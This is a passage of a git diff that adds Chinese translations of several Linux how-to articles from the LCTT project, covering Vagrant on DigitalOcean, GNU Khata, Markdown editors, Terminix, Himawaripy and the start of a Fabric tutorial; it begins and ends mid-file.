Fedora 用户通过使用本地的 Vagrantfile 文件来管理 DigitalOcean 上的云服务实例。 + +### 如何使用这个插件 + +第一步在命令行下是安装软件。 + +``` +$ sudo dnf install -y vagrant-digitalocean +``` + +安装 结束之后,下一步是创建本地的 Vagrantfile 文件。下面是一个例子。 + +``` +$ mkdir digitalocean +$ cd digitalocean +$ cat Vagrantfile +Vagrant.configure('2') do |config| + config.vm.hostname = 'dropletname.kushaldas.in' + # Alternatively, use provider.name below to set the Droplet name. config.vm.hostname takes precedence. + + config.vm.provider :digital_ocean do |provider, override| + override.ssh.private_key_path = '/home/kdas/.ssh/id_rsa' + override.vm.box = 'digital_ocean' + override.vm.box_url = "https://github.com/devopsgroup-io/vagrant- digitalocean/raw/master/box/digital_ocean.box" + + provider.token = 'Your AUTH Token' + provider.image = 'fedora-23-x64' + provider.region = 'nyc2' + provider.size = '512mb' + provider.ssh_key_name = 'Kushal' + end +end +``` + +### Vagrant DigitalOcean 插件的注意事项 + +一定要记住的几个关于 SSH 的关键命名规范 : 如果你已经在 DigitalOcean 上传了秘钥,请确保 `provider.ssh_key_name` 和已经在服务器中的名字吻合。 `provider.image` 具体的文档可以在[DigitalOcean documentation][5]找到。在控制面板上的 `App & API` 部分可以创建 AUTH 令牌。 + +你可以使用下面的命令启动一个实例。 + +``` +$ vagrant up --provider=digital_ocean +``` + +这个命令会在 DigitalOcean 的启动一个服务器实例。然后你就可以使用 `vagrant ssh` 命令来 `ssh` 登录进入这个实例。可以执行 `vagrant destroy` 来删除这个实例。 + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/using-vagrant-digitalocean-cloud/ + +作者:[Kushal Das][a] +译者:[MikeCoder](https://github.com/MikeCoder) +校对:[Ezio](https://github.com/oska874) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://kushal.id.fedoraproject.org/ +[1]: https://www.vagrantup.com/ +[2]: https://fedoramagazine.org/running-vagrant-fedora-22/ +[3]: https://www.digitalocean.com/ +[4]: https://communityblog.fedoraproject.org/fedora-cloud-fad-2016/ +[5]: https://developers.digitalocean.com/documentation/v2/#create-a-new-droplet diff --git a/published/201607/20160718 OPEN SOURCE ACCOUNTING SOFTWARE.md b/published/201607/20160718 OPEN SOURCE ACCOUNTING SOFTWARE.md new file mode 100644 index 0000000000..7598de6bf1 --- /dev/null +++ b/published/201607/20160718 OPEN SOURCE ACCOUNTING SOFTWARE.md @@ -0,0 +1,80 @@ +GNU KHATA:开源的会计管理软件 +============================================ + +作为一个活跃的 Linux 爱好者,我经常向我的朋友们介绍 Linux,帮助他们选择最适合他们的发行版本,同时也会帮助他们安装一些适用于他们工作的开源软件。 + +但是在这一次,我就变得很无奈。我的叔叔,他是一个自由职业的会计师。他会有一系列的为了会计工作的漂亮而成熟的付费软件。我不那么确定我能在在开源软件中找到这么一款可以替代的软件——直到昨天。 + +Abhishek 给我推荐了一些[很酷的软件][1],而其中 GNU Khata 脱颖而出。 + +[GNU Khata][2] 是一个会计工具。 或者,我应该说成是一系列的会计工具集合?它就像经济管理方面的 [Evernote][3] 一样。它的应用是如此之广,以至于它不但可以用于个人的财务管理,也可以用于大型公司的管理,从店铺存货管理到税率计算,都可以有效处理。 + +有个有趣的地方,Khata 这个词在印度或者是其他的印度语国家中意味着账户,所以这个会计软件叫做 GNU Khata。 + +### 安装 + +互联网上有很多关于旧的 Web 版本的 Khata 安装介绍。现在,GNU Khata 只能用在 Debian/Ubuntu 和它们的衍生版本中。我建议你按照 GNU Khata 官网给出的如下步骤来安装。我们来快速过一下。 + +- 从[这里][4]下载安装器。 +- 在下载目录打开终端。 +- 粘贴复制以下的代码到终端,并且执行。 + +``` +sudo chmod 755 GNUKhatasetup.run +sudo ./GNUKhatasetup.run +``` + +这就结束了,从你的 Dash 或者是应用菜单中启动 GNU Khata 吧。 + +### 第一次启动 + +GNU Khata 在浏览器中打开,并且展现以下的画面。 + +![](https://itsfoss.com/wp-content/uploads/2016/07/GNU-khata-1.jpg) + +填写组织的名字、组织形式,财务年度并且点击 proceed 按钮进入管理设置页面。 + +![](https://itsfoss.com/wp-content/uploads/2016/07/GNU-khata-2.jpg) + +仔细填写你的用户名、密码、安全问题及其答案,并且点击“create and login”。 + +![](https://itsfoss.com/wp-content/uploads/2016/07/GNU-khata-3.jpg) + +你已经全部设置完成了。使用菜单栏来开始使用 GNU Khata 来管理你的财务吧。这很容易。 + +### 移除 GNU KHATA + +如果你不想使用 GNU Khata 了,你可以执行如下命令移除: + +``` +sudo apt-get remove --auto-remove gnukhata-core-engine +``` + +你也可以通过新立得软件管理来删除它。 + +### GNU KHATA 真的是市面上付费会计应用的竞争对手吗? + +首先,GNU Khata 以简化为设计原则。顶部的菜单栏组织的很方便,可以帮助你有效的进行工作。你可以选择管理不同的账户和项目,并且切换非常容易。[它们的官网][5]表明,GNU Khata 可以“像说印度语一样方便”(LCTT 译注:原谅我,这个软件作者和本文作者是印度人……)。同时,你知道 GNU Khata 也可以在云端使用吗? + +所有的主流的账户管理工具,比如分类账簿、项目报表、财务报表等等都用专业的方式整理,并且支持自定义格式和即时展示。这让会计和仓储管理看起来如此的简单。 + +这个项目正在积极的发展,正在寻求实操中的反馈以帮助这个软件更加进步。考虑到软件的成熟性、使用的便利性还有免费的情况,GNU Khata 可能会成为你最好的账簿助手。 + +请在评论框里留言吧,让我们知道你是如何看待 GNU Khata 的。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/using-gnu-khata/ + +作者:[Aquil Roshan][a] +译者:[MikeCoder](https://github.com/MikeCoder) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/aquil/ +[1]: https://itsfoss.com/category/apps/ +[2]: http://www.gnukhata.in/ +[3]: https://evernote.com/ +[4]: https://cloud.openmailbox.org/index.php/s/L8ppsxtsFq1345E/download +[5]: http://www.gnukhata.in/ diff --git a/published/201607/20160721 YOU CAN TRY A DEMO UBUNTU VERSION IN A WEB BROWSER.md b/published/201607/20160721 YOU CAN TRY A DEMO UBUNTU VERSION IN A WEB BROWSER.md new file mode 100644 index 0000000000..0fd776c078 --- /dev/null +++ b/published/201607/20160721 YOU CAN TRY A DEMO UBUNTU VERSION IN A WEB BROWSER.md @@ -0,0 +1,36 @@ +在浏览器中体验 Ubuntu +===================================================== + +[Ubuntu][2] 的背后的公司 [Canonical][1] 为 Linux 推广做了很多努力。无论你有多么不喜欢 Ubuntu,你必须承认它对 “Linux 易用性”的影响。Ubuntu 以及其衍生是使用最多的 Linux 版本。 + +为了进一步推广 Ubuntu Linux,Canonical 把它放到了浏览器里,你可以在任何地方使用这个 [Ubuntu 演示版][0]。 它将帮你更好的体验 Ubuntu,以便让新人更容易决定是否使用它。 + +你可能争辩说 USB 版的 Linux 更好。我同意,但是你要知道你要下载 ISO,创建 USB 启动盘,修改配置文件,然后才能使用这个 USB 启动盘来体验。这么乏味并不是每个人都乐意这么干的。 在线体验是一个更好的选择。 + +那么,你能在 Ubuntu 在线看到什么。实际上并不多。 + +你可以浏览文件,你可以使用 Unity Dash,浏览 Ubuntu 软件中心,甚至装几个应用(当然它们不会真的安装),看一看文件浏览器和其它一些东西。以上就是全部了。但是在我看来,这已经做的很好了,让你知道它是个什么,对这个流行的操作系统有个直接感受。 + +![](https://itsfoss.com/wp-content/uploads/2016/07/Ubuntu-online-demo.jpeg) + +![](https://itsfoss.com/wp-content/uploads/2016/07/Ubuntu-online-demo-1.jpeg) + +![](https://itsfoss.com/wp-content/uploads/2016/07/Ubuntu-online-demo-2.jpeg) + +如果你的朋友或者家人对试试 Linux 抱有兴趣,但是想在安装前想体验一下 Linux 。你可以给他们以下链接:[Ubuntu 在线导览][0] 。 + + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/ubuntu-online-demo/ + +作者:[Abhishek Prakash][a] +译者:[kokialoves](https://github.com/kokialoves) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[0]: http://tour.ubuntu.com/en/ +[1]: http://www.canonical.com/ +[2]: http://www.ubuntu.com/ diff --git a/published/201607/20160722 7 Best Markdown Editors for Linux.md b/published/201607/20160722 7 Best Markdown Editors for Linux.md new file mode 100644 index 0000000000..7d1ffe0c86 --- /dev/null +++ b/published/201607/20160722 7 Best Markdown Editors for Linux.md @@ -0,0 +1,200 @@ +Linux 上 10 个最好的 Markdown 编辑器 +====================================== + +在这篇文章中,我们会点评一些可以在 Linux 上安装使用的最好的 Markdown 编辑器。 你可以找到非常多的 Linux 平台上的 Markdown 编辑器,但是在这里我们将尽可能地为您推荐那些最好的。 + +![](http://www.tecmint.com/wp-content/uploads/2016/07/Best-Linux-Markdown-Editors.png) + +*Best Linux Markdown Editors* + +对于不了解 Markdown 的人做个简单介绍,Markdown 是由著名的 Aaron Swartz 和 John Gruber 发明的标记语言,其最初的解析器是一个用 Perl 写的简单、轻量的[同名工具][1]。它可以将用户写的纯文本转为可用的 HTML(或 XHTML)。它实际上是一门易读,易写的纯文本语言,以及一个用于将文本转为 HTML 的转换工具。 + +希望你先对 Markdown 有一个稍微的了解,接下来让我们逐一列出这些编辑器。 + +### 1. Atom + +Atom 是一个现代的、跨平台、开源且强大的文本编辑器,它可以运行在 Linux、Windows 和 MAC OS X 等操作系统上。用户可以在它的基础上进行定制,删减修改任何配置文件。 + +它包含了一些非常杰出的特性: + +- 内置软件包管理器 +- 智能自动补全功能 +- 提供多窗口操作 +- 支持查找替换功能 +- 包含一个文件系统浏览器 +- 轻松自定义主题 +- 开源、高度扩展性的软件包等 + +![](http://www.tecmint.com/wp-content/uploads/2016/07/Atom-Markdown-Editor-for-Linux.png) + +*Atom Markdown Editor for Linux* + +访问主页: + +### 2. GNU Emacs + +Emacs 是 Linux 平台上一款的流行文本编辑器。它是一个非常棒的、具备高扩展性和定制性的 Markdown 语言编辑器。 + +它综合了以下这些神奇的特性: + +- 带有丰富的内置文档,包括适合初学者的教程 +- 有完整的 Unicode 支持,可显示所有的人类符号 +- 支持内容识别的文本编辑模式 +- 包括多种文件类型的语法高亮 +- 可用 Emacs Lisp 或 GUI 对其进行高度定制 +- 提供了一个包系统可用来下载安装各种扩展等 + +![](http://www.tecmint.com/wp-content/uploads/2016/07/Emacs-Markdown-Editor-for-Linux.png) + +*Emacs Markdown Editor for Linux* + +访问主页: + +### 3. Remarkable + +Remarkable 可能是 Linux 上最好的 Markdown 编辑器了,它也适用于 Windows 操作系统。它的确是是一个卓越且功能齐全的 Markdown 编辑器,为用户提供了一些令人激动的特性。 + +一些卓越的特性: + +- 支持实时预览 +- 支持导出 PDF 和 HTML +- 支持 Github Markdown 语法 +- 支持定制 CSS +- 支持语法高亮 +- 提供键盘快捷键 +- 高可定制性和其他 + +![](http://www.tecmint.com/wp-content/uploads/2016/07/Remarkable-Markdown-Editor-for-Linux.png) + +*Remarkable Markdown Editor for Linux* + +访问主页: + +### 4. Haroopad + +Haroopad 是为 Linux,Windows 和 Mac OS X 构建的跨平台 Markdown 文档处理程序。用户可以用它来书写许多专家级格式的文档,包括电子邮件、报告、博客、演示文稿和博客文章等等。 + +功能齐全且具备以下的亮点: + +- 轻松导入内容 +- 支持导出多种格式 +- 广泛支持博客和邮件 +- 支持许多数学表达式 +- 支持 Github Markdown 扩展 +- 为用户提供了一些令人兴奋的主题、皮肤和 UI 组件等等 + +![](http://www.tecmint.com/wp-content/uploads/2016/07/Haroopad-Markdown-Editor-for-Linux.png) + +*Haroopad Markdown Editor for Linux* + +访问主页: + +### 5. ReText + +ReText 是为 Linux 和其它几个 POSIX 兼容操作系统提供的简单、轻量、强大的 Markdown 编辑器。它还可以作为一个 reStructuredText 编辑器,并且具有以下的特性: + +- 简单直观的 GUI +- 具备高定制性,用户可以自定义语法文件和配置选项 +- 支持多种配色方案 +- 支持使用多种数学公式 +- 启用导出扩展等等 + +![](http://www.tecmint.com/wp-content/uploads/2016/07/ReText-Markdown-Editor-for-Linux.png) + +*ReText Markdown Editor for Linux* + +访问主页: + +### 6. UberWriter + +UberWriter 是一个简单、易用的 Linux Markdown 编辑器。它的开发受 Mac OS X 上的 iA writer 影响很大,同样它也具备这些卓越的特性: + +- 使用 pandoc 进行所有的文本到 HTML 的转换 +- 提供了一个简洁的 UI 界面 +- 提供了一种专心(distraction free)模式,高亮用户最后的句子 +- 支持拼写检查 +- 支持全屏模式 +- 支持用 pandoc 导出 PDF、HTML 和 RTF +- 启用语法高亮和数学函数等等 + +![](http://www.tecmint.com/wp-content/uploads/2016/07/UberWriter-Markdown-Editor-for-Linux.png) + +*UberWriter Markdown Editor for Linux* + +访问主页: + +### 7. Mark My Words + +Mark My Words 同样也是一个轻量、强大的 Markdown 编辑器。它是一个相对比较新的编辑器,因此提供了包含语法高亮在内的大量的功能,简单和直观的 UI。 + +下面是一些棒极了,但还未捆绑到应用中的功能: + +- 实时预览 +- Markdown 解析和文件 IO +- 状态管理 +- 支持导出 PDF 和 HTML +- 监测文件的修改 +- 支持首选项设置 + +![](http://www.tecmint.com/wp-content/uploads/2016/07/MarkMyWords-Markdown-Editor-for-Linux.png) + +*MarkMyWords Markdown Editor for-Linux* + +访问主页: + +### 8. Vim-Instant-Markdown 插件 + +Vim 是 Linux 上的一个久经考验的强大、流行而开源的文本编辑器。它用于编程极棒。它也高度支持插件功能,可以让用户为其增加一些其它功能,包括 Markdown 预览。 + +有好几种 Vim 的 Markdown 预览插件,但是 [Vim-Instant-Markdown][2] 的表现最佳。 + +###9. Bracket-MarkdownPreview 插件 + +Brackets 是一个现代、轻量、开源且跨平台的文本编辑器。它特别为 Web 设计和开发而构建。它的一些重要功能包括:支持内联编辑器、实时预览、预处理支持及更多。 + +它也是通过插件高度可扩展的,你可以使用 [Bracket-MarkdownPreview][3] 插件来编写和预览 Markdown 文档。 + +![](http://www.tecmint.com/wp-content/uploads/2016/07/Brackets-Markdown-Plugin.png) + +*Brackets Markdown Plugin Preview* + +### 10. SublimeText-Markdown 插件 + +Sublime Text 是一个精心打造的、流行的、跨平台文本编辑器,用于代码、markdown 和普通文本。它的表现极佳,包括如下令人兴奋的功能: + +- 简洁而美观的 GUI +- 支持多重选择 +- 提供专心模式 +- 支持窗体分割编辑 +- 通过 Python 插件 API 支持高度插件化 +- 完全可定制化,提供命令查找模式 + +[SublimeText-Markdown][4] 插件是一个支持格式高亮的软件包,带有一些漂亮的颜色方案。 + +![](http://www.tecmint.com/wp-content/uploads/2016/07/SublimeText-Markdown-Plugin-Preview.png) + +*SublimeText Markdown Plugin Preview* + +### 结论 + +通过上面的列表,你大概已经知道要为你的 Linux 桌面下载、安装什么样的 Markdown 编辑器和文档处理程序了。 + +请注意,这里提到的最好的 Markdown 编辑器可能对你来说并不是最好的选择。因此你可以通过下面的反馈部分,为我们展示你认为列表中未提及的,并且具备足够的资格的,令人兴奋的 Markdown 编辑器。 + + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/best-markdown-editors-for-linux/ + +作者:[Aaron Kili][a] +译者:[Locez](https://github.com/locez) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.tecmint.com/author/aaronkili/ +[1]: https://daringfireball.net/projects/markdown/ +[2]: https://github.com/suan/vim-instant-markdown +[3]: https://github.com/gruehle/MarkdownPreview +[4]: https://github.com/SublimeText-Markdown/MarkdownEditing + diff --git a/published/201607/20160722 HOW TO CHANGE DEFAULT APPLICATIONS IN UBUNTU.md b/published/201607/20160722 HOW TO CHANGE DEFAULT APPLICATIONS IN UBUNTU.md new file mode 100644 index 0000000000..b485632d6c --- /dev/null +++ b/published/201607/20160722 HOW TO CHANGE DEFAULT APPLICATIONS IN UBUNTU.md @@ -0,0 +1,69 @@ +怎样在 Ubuntu 中修改默认程序 +============================================== + +![](https://itsfoss.com/wp-content/uploads/2016/07/change-default-applications-ubuntu.jpg) + +> 简介: 这个新手指南会向你展示如何在 Ubuntu Linux 中修改默认程序 + +对于我来说,安装 [VLC 多媒体播放器][1]是[安装完 Ubuntu 16.04 该做的事][2]中最先做的几件事之一。为了能够使我双击一个视频就用 VLC 打开,在我安装完 VLC 之后我会设置它为默认程序。 + +作为一个新手,你需要知道如何在 Ubuntu 中修改任何默认程序,这也是我今天在这篇指南中所要讲的。 + +### 在 UBUNTU 中修改默认程序 + +这里提及的方法适用于所有的 Ubuntu 12.04,Ubuntu 14.04 和Ubuntu 16.04。在 Ubuntu 中,这里有两种基本的方法可以修改默认程序: + +- 通过系统设置 +- 通过右键菜单 + +#### 1.通过系统设置修改 Ubuntu 的默认程序 + +进入 Unity 面板并且搜索系统设置(System Settings): + +![](https://itsfoss.com/wp-content/uploads/2013/11/System_Settings_Ubuntu.jpeg) + +在系统设置(System Settings)中,选择详细选项(Details): + +![](https://itsfoss.com/wp-content/uploads/2016/07/System-settings-detail-ubuntu.jpeg) + +在左边的面板中选择默认程序(Default Applications),你会发现在右边的面板中可以修改默认程序。 + +![](https://itsfoss.com/wp-content/uploads/2016/07/System-settings-default-applications.jpeg) + +正如看到的那样,这里只有少数几类的默认程序可以被改变。你可以在这里改变浏览器、邮箱客户端、日历、音乐、视频和相册的默认程序。那其他类型的默认程序怎么修改? + +不要担心,为了修改其他类型的默认程序,我们会用到右键菜单。 + +#### 2.通过右键菜单修改默认程序 + +如果你使用过 Windows 系统,你应该看见过右键菜单的“打开方式”,可以通过这个来修改默认程序。我们在 Ubuntu 中也有相似的方法。 + +右键一个还没有设置默认打开程序的文件,选择“属性(properties)” + +![](https://itsfoss.com/wp-content/uploads/2016/05/WebP-images-Ubuntu-Linux-3.png) + +*从右键菜单中选择属性* + +在这里,你可以选择使用什么程序打开,并且设置为默认程序。 + +![](https://itsfoss.com/wp-content/uploads/2016/05/WebP-images-Ubuntu-Linux-4.png) + +*在 Ubuntu 中设置打开 WebP 图片的默认程序为 gThumb* + +小菜一碟不是么?一旦你做完这些,所有同样类型的文件都会用你选择的默认程序打开。 + +我很希望这个新手指南对你在修改 Ubuntu 的默认程序时有帮助。如果你有任何的疑问或者建议,可以随时在下面评论。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/change-default-applications-ubuntu/ + +作者:[Abhishek Prakash][a] +译者:[Locez](https://github.com/locez) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[1]: http://www.videolan.org/vlc/index.html +[2]: https://linux.cn/article-7453-1.html diff --git "a/published/201607/20160722 Terminix \342\200\223 A New GTK 3 Tiling Terminal Emulator for Linux.md" "b/published/201607/20160722 Terminix \342\200\223 A New GTK 3 Tiling Terminal Emulator for Linux.md" new file mode 100644 index 0000000000..e9ec640549 --- /dev/null +++ "b/published/201607/20160722 Terminix \342\200\223 A New GTK 3 Tiling Terminal Emulator for Linux.md" @@ -0,0 +1,136 @@ +Terminix:一个很赞的基于 GTK3 的平铺式 Linux 终端模拟器 +============================================================ + +现在,你可以很容易的找到[大量的 Linux 终端模拟器][1],每一个都可以给用户留下深刻的印象。 + +但是,很多时候,我们会很难根据我们的喜好来找到一款心仪的日常使用的终端模拟器。这篇文章中,我们将会推荐一款叫做 Terminix 的令人激动的终端模拟机。 + +![](http://www.tecmint.com/wp-content/uploads/2016/07/Terminix-Terminal-Emulator-for-Linux.png) + +*Terminix Linux 终端模拟器* + +Terminix 是一个使用 VTE GTK+ 3 组件的平铺式终端模拟器。使用 GTK 3 开发的原因主要是为了符合 GNOME HIG(人机接口 Human Interface Guidelines) 标准。另外,Terminix 已经在 GNOME 和 Unity 桌面环境下测试过了,也有用户在其他的 Linux 桌面环境下测试成功。 + +和其他的终端模拟器一样,Terminix 有着很多知名的特征,列表如下: + +- 允许用户进行任意的垂直或者水平分屏 +- 支持拖拽功能来进行重新排布终端 +- 支持使用拖拽的方式终端从窗口中将脱离出来 +- 支持终端之间的输入同步,因此,可以在一个终端输入命令,而在另一个终端同步复现 +- 终端的分组配置可以保存在硬盘,并再次加载 +- 支持透明背景 +- 允许使用背景图片 +- 基于主机和目录来自动切换配置 +- 支持进程完成的通知信息 +- 配色方案采用文件存储,同时支持自定义配色方案 + +### 如何在 Linux 系统上安装 Terminix + +现在来详细说明一下在不同的 Linux 发行版本上安装 Terminix 的步骤。首先,在此列出 Terminix 在 Linux 所需要的环境需求。 + +#### 依赖组件 + +为了正常运行,该应用需要使用如下库: + +- GTK 3.14 或者以上版本 +- GTK VTE 0.42 或者以上版本 +- Dconf +- GSettings +- Nautilus 的 iNautilus-Python 插件 + +如果你已经满足了如上的系统要求,接下来就是安装 Terminix 的步骤。 + +#### 在 RHEL/CentOS 7 或者 Fedora 22-24 上 + +首先,你需要通过新建文件 `/etc/yum.repos.d/terminix.repo` 来增加软件仓库,使用你最喜欢的文本编辑器来进行编辑: + +``` +# vi /etc/yum.repos.d/terminix.repo +``` + +然后拷贝如下的文字到我们刚新建的文件中: + +``` +[heikoada-terminix] +name=Copr repo for terminix owned by heikoada +baseurl=https://copr-be.cloud.fedoraproject.org/results/heikoada/terminix/fedora-$releasever-$basearch/ +skip_if_unavailable=True +gpgcheck=1 +gpgkey=https://copr-be.cloud.fedoraproject.org/results/heikoada/terminix/pubkey.gpg +enabled=1 +enabled_metadata=1 +``` + +保存文件并退出。 + +然后更新你的系统,并且安装 Terminix,步骤如下: + +``` +---------------- On RHEL/CentOS 7 ---------------- +# yum update +# yum install terminix + +---------------- On Fedora 22-24 ---------------- +# dnf update +# dnf install terminix +``` + +#### 在 Ubuntu 16.04-14.04 和 Linux Mint 18-17 + +虽然没有基于 Debian/Ubuntu 发行版本的官方的软件包,但是你依旧可以通过如下的命令手动安装。 + +``` +$ wget -c https://github.com/gnunn1/terminix/releases/download/1.1.1/terminix.zip +$ sudo unzip terminix.zip -d / +$ sudo glib-compile-schemas /usr/share/glib-2.0/schemas/ +``` + +#### 其它 Linux 发行版 + +OpenSUSE 用户可以从默认仓库中安装 Terminix,Arch Linux 用户也可以安装 [AUR Terminix 软件包][2]。 + +### Terminix 截图教程 + +![](http://www.tecmint.com/wp-content/uploads/2016/07/Terminix-Terminal.png) + +*Terminix 终端* + +![](http://www.tecmint.com/wp-content/uploads/2016/07/Terminix-Terminal-Settings.png) + +*Terminix 终端设置* + +![](http://www.tecmint.com/wp-content/uploads/2016/07/Terminix-Terminal-Tabs.png) + +*Terminix 多终端界面* + +### 如何卸载删除 Terminix + + +如果你是手动安装的 Terminix 并且想要删除它,那么你可以参照如下的步骤来卸载它。从 [Github 仓库][3]上下载 uninstall.sh,并且给它可执行权限并且执行它: + +``` +$ wget -c https://github.com/gnunn1/terminix/blob/master/uninstall.sh +$ chmod +x uninstall.sh +$ sudo sh uninstall.sh +``` + +但是如果你是通过包管理器安装的 Terminix,你可以使用包管理器来卸载它。 + +在这篇介绍中,我们在众多优秀的终端模拟器中发现了一个重要的 Linux 终端模拟器。你可以尝试着去体验下它的新特性,并且可以将它和你现在使用的终端进行比较。 + +重要的一点,如果你想得到更多信息或者有疑问,请使用评论区,而且不要忘了,给我一个关于你使用体验的反馈。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/terminix-tiling-terminal-emulator-for-linux/ + +作者:[Aaron Kili][a] +译者:[MikeCoder](https://github.com/MikeCoder) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.tecmint.com/author/aaronkili/ +[1]: http://www.tecmint.com/linux-terminal-emulators/ +[2]: https://aur.archlinux.org/packages/terminix +[3]: https://github.com/gnunn1/terminix diff --git a/published/201607/20160726 Set a Real Time Photo of Earth as Your Linux Desktop Wallpaper.md b/published/201607/20160726 Set a Real Time Photo of Earth as Your Linux Desktop Wallpaper.md new file mode 100644 index 0000000000..40ba237020 --- /dev/null +++ b/published/201607/20160726 Set a Real Time Photo of Earth as Your Linux Desktop Wallpaper.md @@ -0,0 +1,90 @@ +为你的 Linux 桌面设置一张实时的地球照片 +================================================================= + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2016/07/Screen-Shot-2016-07-26-at-16.36.47-1.jpg) + +厌倦了看同样的桌面背景了么?这里有一个(可能是)世界上最棒的东西。 + +‘[Himawaripy][1]’ 是一个 Python 3 小脚本,它会抓取由[日本 Himawari 8 气象卫星][2]拍摄的接近实时的地球照片,并将它设置成你的桌面背景。 + +安装完成后,你可以将它设置成每 10 分钟运行的定时任务(自然,它要在后台运行),这样它就可以实时地取回地球的照片并设置成背景了。 + +因为 Himawari-8 是一颗同步轨道卫星,你只能看到澳大利亚上空的地球的图片——但是它实时的天气形态、云团和光线仍使它很壮丽,对我而言要是看到英国上方的就更好了! + +高级设置允许你配置从卫星取回的图片质量,但是要记住增加图片质量会增加文件大小及更长的下载等待! + +最后,虽然这个脚本与其他我们提到过的其他脚本类似,它还仍保持更新及可用。 + +###获取 Himawaripy + +Himawaripy 已经在一系列的桌面环境中都测试过了,包括 Unity、LXDE、i3、MATE 和其他桌面环境。它是自由开源软件,但是整体来说安装及配置不太简单。 + +在该项目的 [Github 主页][0]上可以找到安装和设置该应用程序的所有指导(提示:没有一键安装功能)。 + +- [实时地球壁纸脚本的 GitHub 主页][0] + +### 安装及使用 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2016/07/Screen-Shot-2016-07-26-at-16.46.13-750x143.png) + +一些读者请我在本文中补充一下一步步安装该应用的步骤。以下所有步骤都在其 GitHub 主页上,这里再贴一遍。 + +1、下载及解压 Himawaripy + +这是最容易的步骤。点击下面的下载链接,然后下载最新版本,并解压到你的下载目录里面。 + + - [下载 Himawaripy 主干文件(.zip 格式)][3] + +2、安装 python3-setuptools + +你需要手工来安装主干软件包,Ubuntu 里面默认没有安装它: + +``` +sudo apt install python3-setuptools +``` + +3、安装 Himawaripy + +在终端中,你需要切换到之前解压的目录中,并运行如下安装命令: + +``` +cd ~/Downloads/himawaripy-master +sudo python3 setup.py install +``` + +4、 看看它是否可以运行并下载最新的实时图片: +``` +himawaripy +``` +5、 设置定时任务 + +如果你希望该脚本可以在后台自动运行并更新(如果你需要手动更新,只需要运行 ‘himarwaripy’ 即可) + +在终端中运行: +``` +crontab -e +``` +在其中新加一行(默认每10分钟运行一次) +``` +*/10 * * * * /usr/local/bin/himawaripy +``` +关于[配置定时任务][4]可以在 Ubuntu Wiki 上找到更多信息。 + +该脚本安装后你不需要不断运行它,它会自动的每十分钟在后台运行一次。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2016/07/set-real-time-earth-wallpaper-ubuntu-desktop + +作者:[JOEY-ELIJAH SNEDDON][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://plus.google.com/117485690627814051450/?rel=author +[1]: https://github.com/boramalper/himawaripy +[2]: https://en.wikipedia.org/wiki/Himawari_8 +[0]: https://github.com/boramalper/himawaripy +[3]: https://github.com/boramalper/himawaripy/archive/master.zip +[4]: https://help.ubuntu.com/community/CronHowto \ No newline at end of file diff --git "a/published/201608/20151118 Fabric \342\200\223 Automate Your Linux Administration Tasks and Application Deployments Over SSH.md" "b/published/201608/20151118 Fabric \342\200\223 Automate Your Linux Administration Tasks and Application Deployments Over SSH.md" new file mode 100644 index 0000000000..fdd53956c4 --- /dev/null +++ "b/published/201608/20151118 Fabric \342\200\223 Automate Your Linux Administration Tasks and Application Deployments Over SSH.md" @@ -0,0 +1,257 @@ +Fabric - 通过 SSH 来自动化管理 Linux 任务和布署应用 +=========================== + +当要管理远程机器或者要布署应用时,虽然你有多种命令行工具可以选择,但是其中很多工具都缺少详细的使用文档。 + +在这篇教程中,我们将会一步一步地向你介绍如何使用 fabric 来帮助你更好得管理多台服务器。 + +![](http://www.tecmint.com/wp-content/uploads/2015/11/Automate-Linux-Administration-Tasks-Using-Fabric.png) + +*使用 Fabric 来自动化地管理 Linux 任务* + +Fabric 是一个用 Python 编写的命令行工具库,它可以帮助系统管理员高效地执行某些任务,比如通过 SSH 到多台机器上执行某些命令,远程布署应用等。 + +在使用之前,如果你拥有使用 Python 的经验能帮你更好的使用 Fabric。当然,如果没有那也不影响使用 Fabric。 + +我们为什么要选择 Fabric: + +- 简单 +- 完备的文档 +- 如果你会 Python,不用增加学习其他语言的成本 +- 易于安装使用 +- 使用便捷 +- 支持多台机器并行操作 + +### 在 Linux 上如何安装 Fabric + +Fabric 有一个特点就是要远程操作的机器只需要支持标准的 OpenSSH 服务即可。只要保证在机器上安装并开启了这个服务就能使用 Fabric 来管理机器。 + +#### 依赖 + +- Python 2.5 或更新版本,以及对应的开发组件 +- Python-setuptools 和 pip(可选,但是非常推荐)gcc + +我们推荐使用 pip 安装 Fabric,但是你也可以使用系统自带的包管理器如 `yum`, `dnf` 或 `apt-get` 来安装,包名一般是 `fabric` 或 `python-fabric`。 + +如果是基于 RHEL/CentOS 的发行版本的系统,你可以使用系统自带的 [EPEL 源][1] 来安装 fabric。 + +``` +# yum install fabric [适用于基于 RedHat 系统] +# dnf install fabric [适用于 Fedora 22+ 版本] +``` + +如果你是 Debian 或者其派生的系统如 Ubuntu 和 Mint 的用户,你可以使用 apt-get 来安装,如下所示: + +``` +# 